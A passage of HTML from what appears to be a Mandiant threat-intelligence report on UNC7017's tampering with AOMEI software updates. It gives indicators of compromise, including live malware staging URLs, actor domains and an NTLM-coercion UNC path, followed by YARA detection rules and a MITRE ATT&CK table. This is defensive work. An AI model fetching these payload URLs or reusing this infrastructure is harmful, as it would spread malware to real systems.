&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;IP Address&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;96.126.191.98&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Allowlist IP configured in &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;whitelist.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (observed June 22, 2026)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Domain&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;promotion.storage-data.com&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stage-2 Dropper Staging Domain&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Domain&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;aomei.storage-data.com&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stage-3 Payload Staging Server&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Domain&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Threat Actor Domain&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Domain&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;serv.oss-cn-hongkong.aliyuncs.com&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Alibaba Cloud OSS Bucket (April/May 2026 Staging)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://promotion.storage-data.com/download/abpopup/upgrade-now.zip&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stage-2 Dropper Download URL&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://promotion.storage-data[.]com/config/component.zip&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD payload&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://promotion.storage-data.com/config/whitelist.ini&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Target IP Allowlist Endpoint&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://promotion.storage-data.com/config/en.zip&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stage-3 SHINYROAD Payload URL&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://storage.googleapis.com/aomeiupdate/upgrade-now.zip&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;July 20 GCS Staging URL&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;URL&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;https://storage.googleapis.com/aomeiupdate/component.zip&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;July 20 GCS Component URL&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;UNC Path&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;\\8.210.84.56\DavWWWRoot\campaign\24hour-flash-sale.html&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;WebDAV NTLM Coercion Resource&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 5: Network Indicators&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Mutexes &amp;amp; Scheduled Tasks&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Mutex:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Shared memory mapping:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Scheduled Task:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\RadminComponentRuntime&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Google Security Operations (SecOps)&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google Security Operations customers have access to these broad category rules and more under the "Mandiant Frontline Threats", “Mandiant Hunting Rules”, and "Applied Threat Intelligence - Curated Prioritization" rule packs. The activity discussed in the blog post is detected in Google Security Operations under the rule names:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Explorer Launching Cmd With Powershell Start Process Command&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Suspicious Process Invoking Dllhost Clsid Invocation&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ATI Active Breach Rule Match for File IoCs&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ATI High Priority Rule Match for Ip Address IoCs&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ATI Medium Priority Rule Match for Ip Address IoCs&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Copy System Binary&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;System32 Binary Copied to Non-Standard Directory&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Detections&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;YARA Rules&lt;/span&gt;&lt;/h4&gt;
&lt;pre class="language-plain"&gt;&lt;code&gt;rule G_APT_Downloader_CROSSROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
		
	strings:
		// Masquerading &amp;amp; Metadata
		$meta_typo = "AOMEI Update Compent" wide
		$meta_co = "AOMEI International Network Limited" wide
		$meta_ver = "8.2.5.0" wide
		$meta_orig = "upgrade-now.exe" wide
		$meta_name = "upgrade-now" wide
		// Embedded Decompression &amp;amp; Downloader Artifacts
		$miniz1 = "archive is too large" ascii
		$miniz2 = "failed finding central directory" ascii
		$miniz3 = "unexpected decompressed size" ascii
		$whttp1 = "WinHttpCrackUrl" ascii
		$whttp2 = "WinHttpSendRequest" ascii
		// Obfuscation &amp;amp; Scheduled Task Artifacts
		$task1 = "RadminComponentRuntime" wide
		$task2 = "Radmin Component runtime checkable." wide
		$flag = "--runtimechk" wide
		$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
		$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
		$sob3 = "WinMain._sob_enc." ascii
		$obf_key = "_sob_key" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize &amp;lt; 5MB and (
			(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
			 any of ($miniz*) and
			 any of ($whttp*)) or
			(2 of ($sob*) and ($task1 or $flag)) or
			($obf_key and $task1 and $task2 and any of ($sob*))
		)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class="language-plain"&gt;&lt;code&gt;rule G_APT_Backdoor_SHINYROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
		
	strings:
		// Shared SHINYROAD artifacts (shared memory section and mutex)
		$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
		$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
		// BlkScrDl.dll loader: config.zip staging and COM server registration
		$ld1 = "%sconfig.zip" ascii
		$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
		$ld3 = "libBlkScrDl.dll" ascii
		$com1 = "Software\\Classes\\CLSID\\%s" ascii
		$com2 = "Software\\Classes\\AppID\\%s" ascii
		$com3 = "%s\\InprocServer32" ascii
		// RuntimeComponent.dll embedded PocketPy engine
		$rc1 = "libRuntimeComponent.dll" ascii
		$rc2 = "metadata.dat" ascii
		$rc3 = "_pyio_compat" ascii
		$rc4 = "_pyio_struct" ascii
		$rc5 = "%sdemo_srv.log" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize &amp;lt; 5MB and (
			($shm and $mtx) or
			(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
			(2 of ($ld*) and 2 of ($com*)) or
			($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
		)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-plain"&gt;&lt;code&gt;rule G_APT_Backdoor_SHINYROAD_2
{
	meta:
		author = "Mandiant"
		desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"

	strings:
		$pkpy_magic = { 4F 43 01 00 }
		$proto1 = "mct3-handshake-v1" ascii
		$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
		$jam1 = "JAM_BURST_PACKETS_MIN" ascii
		$jam2 = "JAM_MIN_MS" ascii
		$jam3 = "JAM_MAX_BYTES" ascii
		$mod1 = "_pyio_struct" ascii
		$mod2 = "_pyio_compat" ascii
		$enc1 = "nh_enc" ascii
		$enc2 = "encbody" ascii

	condition:
		$pkpy_magic at 0 and filesize &amp;lt; 500KB and (
			$proto1 or
			$script or
			all of ($jam*) or
			(all of ($mod*) and any of ($enc*))
		)
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre class="language-markup"&gt;&lt;code&gt;rule G_APT_Launcher_ADAPTAGENT_1
{
	meta:
		author = "Mandiant"
		desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
		ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
		platforms = "Win"
		rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"

	strings:
		// Sideloaded Masquerading &amp;amp; Camouflage
		$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
		$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
		$camo_dll1 = "Eztwain4.dll" ascii wide nocase
		$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
		$camo_ver = "14.10.1.0" ascii wide
		$camo_copy = "Nitro Software, Inc." ascii wide

		// NitroPromotion Loader &amp;amp; Staging Functionality
		$load1 = "DownloadToLocalAppData" ascii
		$load2 = "ExtractZipToDirectoryA" ascii
		$load3 = "GetTempZipFileNameA" ascii
		$load4 = "CreateScheduledTask" ascii

		// Adaptix C2 &amp;amp; ADAPTAGENT Core Artifacts
		$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
		$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
		$adapt3 = "\\\\.\\pipe\\%08lx" ascii
		$adapt4 = "13ConnectorHTTP" ascii
		$adapt5 = "9Connector" ascii

	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize &amp;lt; 10MB and (
			// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
			(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or

			// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
			(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
			(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
		)
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;MITRE ATT&amp;amp;CK Techniques&lt;/span&gt;&lt;/h3&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Tactic&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Technique ID&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Technique Name&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Observed Context&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Resource Development&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1583/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1583.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Acquire Infrastructure: Domains&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Registration of &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;promotion.&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; / &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;aomei.&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; subdomains used for payload staging and callbacks.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Resource Development&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1583/006/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1583.006&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Acquire Infrastructure: Web Services&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Abuse of Alibaba Cloud OSS (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;serv.oss-cn-hongkong.aliyuncs.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and a public Cloud Storage bucket (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;aomeiupdate&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) as high-reputation staging infrastructure.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Resource Development&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1608/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1608.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stage Capabilities: Upload Malware&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Staging of &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;component.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;en.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; on actor-controlled domains and cloud storage prior to each tampering window.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Initial Access&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1195/002/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1195.002&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Supply Chain Compromise: Compromise Software Supply Chain&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Ephemeral modification of remote AOMEI &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; update configuration files.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Execution&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1059.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Scripting Interpreter: PowerShell&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Hidden PowerShell execution (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;-WindowStyle Hidden&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) executing the Nitro PDF / Adaptix C2 payload.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Execution&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
